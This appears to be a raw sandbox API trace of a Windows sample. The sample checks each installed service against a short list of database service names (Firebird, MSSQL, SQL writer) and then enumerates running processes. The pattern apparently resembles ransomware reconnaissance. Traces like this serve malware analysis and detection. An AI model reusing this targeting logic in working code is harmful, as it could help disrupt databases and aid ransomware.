[0316.565] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0316.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0316.565] lstrlenW (lpString="gpsvc") returned 5 [0316.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0316.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0316.566] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0316.566] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0316.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0316.566] lstrlenW (lpString="iphlpsvc") returned 8 [0316.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0316.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0316.566] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0316.566] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0316.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0316.566] lstrlenW (lpString="KeyIso") returned 6 [0316.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0316.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0316.566] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0316.566] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0316.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0316.566] lstrlenW (lpString="LanmanServer") returned 12 [0316.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0316.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0316.566] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0316.567] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0316.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0316.567] lstrlenW (lpString="LanmanWorkstation") returned 17 [0316.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0316.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0316.567] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0316.567] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0316.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0316.567] lstrlenW (lpString="lfsvc") returned 5 [0316.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0316.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0316.567] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0316.567] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0316.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0316.567] lstrlenW (lpString="lmhosts") returned 7 [0316.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0316.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0316.567] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0316.567] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0316.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0316.567] lstrlenW (lpString="LSM") returned 3 [0316.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0316.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0316.567] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0316.567] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0316.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0316.567] lstrlenW (lpString="MapsBroker") returned 10 [0316.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0316.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0316.567] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0316.567] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0316.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0316.567] lstrlenW (lpString="MpsSvc") returned 6 [0316.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0316.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0316.568] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0316.568] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0316.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0316.568] lstrlenW (lpString="NcbService") returned 10 [0316.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0316.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0316.568] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0316.568] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0316.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0316.568] lstrlenW (lpString="netprofm") returned 8 [0316.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0316.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0316.568] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0316.568] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0316.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0316.568] lstrlenW (lpString="NgcSvc") returned 6 [0316.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0316.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0316.568] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0316.568] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0316.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0316.568] lstrlenW (lpString="NlaSvc") returned 6 [0316.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0316.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0316.568] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0316.568] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0316.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0316.568] lstrlenW (lpString="nsi") returned 3 [0316.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0316.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0316.568] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0316.568] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0316.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0316.569] lstrlenW (lpString="PcaSvc") returned 6 [0316.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0316.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0316.569] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0316.569] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0316.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0316.569] lstrlenW (lpString="PlugPlay") returned 8 [0316.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0316.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0316.569] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0316.569] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0316.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0316.569] lstrlenW (lpString="Power") returned 5 [0316.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0316.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0316.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0316.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0316.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0316.569] lstrlenW (lpString="ProfSvc") returned 7 [0316.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0316.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0316.569] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0316.569] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0316.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0316.569] lstrlenW (lpString="RpcEptMapper") returned 12 [0316.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0316.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0316.569] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0316.569] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0316.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0316.569] lstrlenW (lpString="RpcSs") returned 5 [0316.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0316.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0316.570] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0316.570] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0316.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0316.570] lstrlenW (lpString="SamSs") returned 5 [0316.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0316.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0316.570] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0316.570] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0316.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0316.570] lstrlenW (lpString="Schedule") returned 8 [0316.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0316.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0316.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0316.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0316.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0316.570] lstrlenW (lpString="SecurityHealthService") returned 21 [0316.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0316.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0316.570] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0316.570] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0316.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0316.570] lstrlenW (lpString="SENS") returned 4 [0316.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0316.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0316.570] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0316.570] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0316.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0316.570] lstrlenW (lpString="ShellHWDetection") returned 16 [0316.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0316.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0316.570] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0316.571] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0316.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0316.571] lstrlenW (lpString="Spooler") returned 7 [0316.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0316.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0316.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0316.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0316.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0316.571] lstrlenW (lpString="SSDPSRV") returned 7 [0316.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0316.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0316.571] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0316.571] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0316.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0316.571] lstrlenW (lpString="StateRepository") returned 15 [0316.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0316.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0316.571] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0316.571] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0316.571] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45fee88 | out: hHeap=0x6e0000) returned 1 [0316.571] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x404 [0316.577] Process32FirstW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0316.578] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0316.579] lstrlenW (lpString="System") returned 6 [0316.579] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0316.579] lstrlenW (lpString="smss.exe") returned 8 [0316.579] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0316.580] lstrlenW (lpString="csrss.exe") returned 9 [0316.580] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0316.581] lstrlenW (lpString="wininit.exe") returned 11 [0316.581] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0316.581] lstrlenW (lpString="csrss.exe") returned 9 [0316.581] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0316.582] lstrlenW (lpString="winlogon.exe") returned 12 [0316.582] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0316.583] lstrlenW (lpString="services.exe") returned 12 [0316.583] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0316.583] lstrlenW (lpString="lsass.exe") returned 9 [0316.583] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0316.584] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0316.584] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0316.585] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0316.585] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.586] lstrlenW (lpString="svchost.exe") returned 11 [0316.586] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.586] lstrlenW (lpString="svchost.exe") returned 11 [0316.586] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0316.609] lstrlenW (lpString="dwm.exe") returned 7 [0316.609] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.609] lstrlenW (lpString="svchost.exe") returned 11 [0316.610] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.610] lstrlenW (lpString="svchost.exe") returned 11 [0316.610] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.611] lstrlenW (lpString="svchost.exe") returned 11 [0316.611] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.612] lstrlenW (lpString="svchost.exe") returned 11 [0316.612] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.612] lstrlenW (lpString="svchost.exe") returned 11 [0316.612] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.613] lstrlenW (lpString="svchost.exe") returned 11 [0316.613] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.614] lstrlenW (lpString="svchost.exe") returned 11 [0316.614] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.615] lstrlenW (lpString="svchost.exe") returned 11 [0316.615] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.615] lstrlenW (lpString="svchost.exe") returned 11 [0316.615] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.616] lstrlenW (lpString="svchost.exe") returned 11 [0316.616] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0316.617] lstrlenW (lpString="spoolsv.exe") returned 11 [0316.617] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0316.617] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0316.617] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0316.618] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0316.618] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0316.619] lstrlenW (lpString="Memory Compression") returned 18 [0316.619] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.620] lstrlenW (lpString="svchost.exe") returned 11 [0316.620] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0316.620] lstrlenW (lpString="audiodg.exe") returned 11 [0316.620] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0316.621] lstrlenW (lpString="sihost.exe") returned 10 [0316.621] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0316.622] lstrlenW (lpString="svchost.exe") returned 11 [0316.622] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0316.622] lstrlenW (lpString="taskhostw.exe") returned 13 [0316.622] Process32NextW (in: hSnapshot=0x404, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0316.623] lstrlenW (lpString="explorer.exe") returned 12 